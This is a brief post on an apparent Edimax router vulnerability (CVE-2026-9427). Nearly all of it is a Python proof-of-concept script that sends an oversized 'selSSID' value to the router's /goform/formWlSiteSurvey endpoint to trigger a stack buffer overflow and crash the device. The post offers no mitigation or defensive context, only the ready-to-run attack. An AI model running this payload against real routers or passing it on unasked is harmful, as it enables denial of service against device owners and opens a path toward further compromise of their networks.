CVE-2026-9427 Edimax路由器栈溢出漏洞

import requests # Target URL of the vulnerable endpoint target = "http://<device_ip>/goform/formWlSiteSurvey" # Malicious payload to trigger stack-based buffer overflow # The specific offset depends on the firmware analysis, # here we send a large string to demonstrate the crash. buffer_size = 1000 payload = b"A" * buffer_size # Data parameters to exploit the vulnerability # The vulnerability is in the 'selSSID' argument params = { "selSSID": payload.decode('latin-1'), "submit-url": "/site_survey.shtml" } try: print(f"[+] Sending payload to {target}...") response = requests.post(target, data=params) # If successful, the web service might crash or become unresponsive print("[+] Payload sent. Check if the device crashed.") except Exception as e: print(f"[-] Error occurred (likely crash): {e}")